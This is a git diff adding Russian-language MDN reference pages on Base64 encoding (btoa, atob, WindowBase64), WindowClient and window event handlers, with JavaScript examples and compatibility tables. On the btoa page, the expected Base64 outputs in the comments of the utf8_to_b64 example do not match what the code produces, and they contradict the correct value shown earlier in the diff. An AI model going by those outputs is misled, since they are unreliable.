+     <li><a href="#Solution_2_–_rewrite_the_DOMs_atob()_and_btoa()_using_JavaScript's_TypedArrays_and_UTF-8">Rewriting <code>atob()</code> and <code>btoa()</code> using <code>TypedArray</code>s and UTF-8</a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Base64">View All...</a></span></p>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed arrays</a></li>
+     <li><code><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView">ArrayBufferView</a></code></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array"><code>Uint8Array</code></a></li>
+     <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+     <li><a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a></li>
+     <li><a href="/en-US/docs/URI" title="/en-US/docs/URI"><code>URI</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI"><code>encodeURI()</code></a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="The_Unicode_Problem">The "Unicode Problem"</h2>
+
+<p>Since <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a>s are 16-bit-encoded strings, in most browsers calling <code>window.btoa</code> on a Unicode string will cause a <code>Character Out Of Range</code> exception if a character exceeds the range of a 8-bit byte (0x00~0xFF). There are two possible methods to solve this problem:</p>
+
+<ul>
+ <li>the first one is to escape the whole string (with UTF-8, see {{jsxref("encodeURIComponent")}}) and then encode it;</li>
+ <li>the second one is to convert the UTF-16 <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> to an UTF-8 array of characters and then encode it.</li>
+</ul>
+
+<p>Here are the two possible methods.</p>
+
+<h3 id="Solution_1_–_escaping_the_string_before_encoding_it">Solution #1 – escaping the string before encoding it</h3>
+
+<pre class="brush:js">function b64EncodeUnicode(str) {
+    // first we use encodeURIComponent to get percent-encoded UTF-8,
+    // then we convert the percent encodings into raw bytes which
+    // can be fed into btoa.
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
+        function toSolidBytes(match, p1) {
+            return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64EncodeUnicode('\n'); // "Cg=="
+</pre>
+
+<p>To decode the Base64-encoded value back into a String:</p>
+
+<pre class="brush: js">function b64DecodeUnicode(str) {
+    // Going backwards: from bytestream, to percent-encoding, to original string.
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+</pre>
+
+<p><a href="https://github.com/coolaj86/unibabel-js">Unibabel</a> implements common conversions using this strategy.</p>
+
+<h3 id="Solution_2_–_rewrite_the_DOMs_atob_and_btoa_using_JavaScripts_TypedArrays_and_UTF-8">Solution #2 – rewrite the DOMs <code>atob()</code> and <code>btoa()</code> using JavaScript's <code>TypedArray</code>s and UTF-8</h3>
+
+<p>Use a <a href="/en-US/docs/Web/API/TextEncoder">TextEncoder</a> polyfill such as <a href="https://github.com/inexorabletash/text-encoding">TextEncoding</a> (also includes legacy windows, mac, and ISO encodings), <a href="https://github.com/coolaj86/TextEncoderLite">TextEncoderLite</a>, combined with a <a href="https://github.com/feross/buffer">Buffer</a> and a Base64 implementation such as <a href="https://github.com/beatgammit/base64-js">base64-js</a>.</p>
+
+<p>When a native <code>TextEncoder</code> implementation is not available, the most light-weight solution would be to use <a href="https://github.com/coolaj86/TextEncoderLite">TextEncoderLite</a> with <a href="https://github.com/beatgammit/base64-js">base64-js</a>. Use the browser implementation when you can.</p>
+
+<p>The following function implements such a strategy. It assumes base64-js imported as <code>&lt;script type="text/javascript" src="base64js.min.js"/&gt;</code>. Note that TextEncoderLite only works with UTF-8.</p>
+
+<pre class="brush: js">function Base64Encode(str, encoding = 'utf-8') {
+    var bytes = new (TextEncoder || TextEncoderLite)(encoding).encode(str);
+    return base64js.fromByteArray(bytes);
+}
+
+function Base64Decode(str, encoding = 'utf-8') {
+    var bytes = base64js.toByteArray(str);
+    return new (TextDecoder || TextDecoderLite)(encoding).decode(bytes);
+}
+</pre>
diff --git a/files/ru/web/api/windowbase64/btoa/index.html b/files/ru/web/api/windowbase64/btoa/index.html
new file mode 100644
index 0000000000..06b76a6304
--- /dev/null
+++ b/files/ru/web/api/windowbase64/btoa/index.html
@@ -0,0 +1,141 @@
+---
+title: WindowBase64.btoa()
+slug: Web/API/WindowBase64/btoa
+translation_of: Web/API/WindowOrWorkerGlobalScope/btoa
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.</p>
+
+<p>Будьте внимательней этот способ не подходит для <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a> строк! Описание работы с Unicode в секции ниже.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var encodedData = window.btoa(<em>stringToEncode</em>);</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">var encodedData = window.btoa("Hello, world"); // encode a string
+var decodedData = window.atob(encodedData); // decode the string
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Вы можете воспользоваться этим способом, чтобы избежать проблем при передаче данных через сетевое соединение. Для этого нужно перекодировать данные в base64 и отправить их, и на другой стороне с помощью метода <code>{{domxref("WindowBase64.atob","window.atob()")}}</code> декодировать полученные данные в исходный вид. Например, вы можете перекодировать управляющие символы ASCII с 0 до 31.</p>
+
+<p><code>btoa()</code> также доступна для XPCOM компонентов реализованных в JavaScript, даже если <a href="/en-US/docs/DOM/window" title="DOM/window"><code>window</code></a> не является глобальным объектом в компонентах.</p>
+
+<h2 id="Строки_Юникод">Строки Юникод</h2>
+
+<p>В большинстве браузеров, вызов <code>window.btoa()</code> на Unicode строке выбросит исключение Character Out Of Range (Символ вне допустимого диапазона).</p>
+
+<p>Чтобы избежать этого, воспользуйтесь патерном, предложеным <a class="external" href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html" title="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johan Sundström</a>:</p>
+
+<pre class="brush:js">function utf8_to_b64(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+
+function b64_to_utf8(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ==
+b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode"
+
+utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ==
+b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!"
+
+</pre>
+
+<p>Более правильный и производительный способ - это конвертировать <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> в UTF-8 строку передав <a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>. Как это сделать узнать можно здесь<strong> <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8">в этом параграфе</a></strong>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}[1]</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>btoa()</code> также доступна для XPCOM компонентов реализованных в JavaScript, даже если <a href="/en-US/docs/DOM/window" title="DOM/window"><code>window</code></a> не является глобальным объектом в компонентах.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="/en-US/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li>{{domxref("WindowBase64.atob","window.atob()")}}</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/windowbase64/index.html b/files/ru/web/api/windowbase64/index.html
new file mode 100644
index 0000000000..40051820b4
--- /dev/null
+++ b/files/ru/web/api/windowbase64/index.html
@@ -0,0 +1,120 @@
+---
+title: WindowBase64
+slug: Web/API/WindowBase64
+tags:
+  - API
+  - HTML-DOM
+  - Helper
+  - NeedsTranslation
+  - TopicStub
+  - WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>WindowBase64</strong></code> helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in <a href="/en-US/docs/data_URIs">data URIs</a>.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This helper neither defines nor inherits any properties.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This helper does not inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windowclient/index.html b/files/ru/web/api/windowclient/index.html
new file mode 100644
index 0000000000..66aed83307
--- /dev/null
+++ b/files/ru/web/api/windowclient/index.html
@@ -0,0 +1,98 @@
+---
+title: WindowClient
+slug: Web/API/WindowClient
+tags:
+  - API
+  - Client
+  - Experimental
+  - Interface
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - WindowClient
+translation_of: Web/API/WindowClient
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Интерфейс <code>WindowClient</code> <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> представляет область действия клиента сервис-воркера, который представляет собой документ в контексте просмотра, управляемый активным исполнителем. Клиент сервис-воркера самостоятельно выбирает и использует сервис-воркера для собственной загрузки и загрузки подресурсов.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><code>WindowClient</code> наследует методы от своего родительского интерфейса {{domxref("Client")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowClient.focus()")}}</dt>
+ <dd>Фокусирует пользователя на текущем окне.</dd>
+ <dt>{{domxref("WindowClient.navigate()")}}</dt>
+ <dd>Загружает указанный URL-адрес на управляемую клиентскую страницу.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>WindowClient</code> наследует методы от своего родительского интерфейса {{domxref("Client")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowClient.focused")}} {{readonlyInline}}</dt>
+ <dd>Логическое значение, указывающее, находится ли текущая страница в фокусе.</dd>
+ <dt>{{domxref("WindowClient.visibilityState")}} {{readonlyInline}}</dt>
+ <dd>Указывает, отоборажается ли текущая страница. Это значение может быть одним из <code>"hidden" (скрыта)</code>, <code>"visible" (отображена)</code> или <code>"prerender" (предварительно отрисована)</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // Проверяем, открыто ли окно и
+  // сфокусрованы ли на нем
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client) {
+        client.focus();
+        break;
+      }
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#windowclient', 'WindowClient')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div>
+
+
+<p>{{Compat("api.WindowClient")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис-воркеров</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Пример базового кода сервис-воркеров</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование веб-воркеров</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a></li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/index.html b/files/ru/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..cdd4a8258b
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/index.html
@@ -0,0 +1,189 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+tags:
+  - API
+  - HTML-DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>WindowEventHandlers</code></strong> describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and  {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement more event handlers.</p>
+
+<p><code>WindowEventHandlers</code> is a not an interface and no object of this type can be created.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("resize")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onlanguage</code> since the {{SpecName("HTML 5")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatNo}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onafterprint/index.html b/files/ru/web/api/windoweventhandlers/onafterprint/index.html
new file mode 100644
index 0000000000..3a7708b9a5
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onafterprint/index.html
@@ -0,0 +1,52 @@
+---
+title: WindowEventHandlers.onafterprint
+slug: Web/API/WindowEventHandlers/onafterprint
+translation_of: Web/API/WindowEventHandlers/onafterprint
+---
+<div>{{ApiRef}}</div>
+
+<p>Свойство <code>WindowEventHandlers.onafterprint</code> устанавливает и возвращает обработчик {{domxref("EventHandler")}} события {{event("afterprint")}} в текущем окне.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox"><em>window</em>.onafterprint = <em>код обработки события</em>
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Некоторые браузеры (включая Firefox 6 и его более поздние версии, и Internet Explorer) генерируют события <code>beforeprint</code> и <code>afterprint</code>, чтобы дать сигнал о процессе распечатки страницы. Вы можете использовать эти события, чтобы повлиять на интерфейс пользователя во время печати (например, показать или скрыть отдельные его части).</p>
+
+<p>Событие <code>afterprint</code> генерируется когда пользователь закончил печать или отменил её.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#windoweventhandlers', 'onafterprint')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onafterprint")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.print")}}</li>
+ <li>{{domxref("window.onbeforeprint")}}</li>
+ <li><a href="/en-US/docs/Printing" title="Printing">Printing</a></li>
+</ul>
+
+<div class="grammarly-disable-indicator"> </div>
diff --git a/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html b/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html
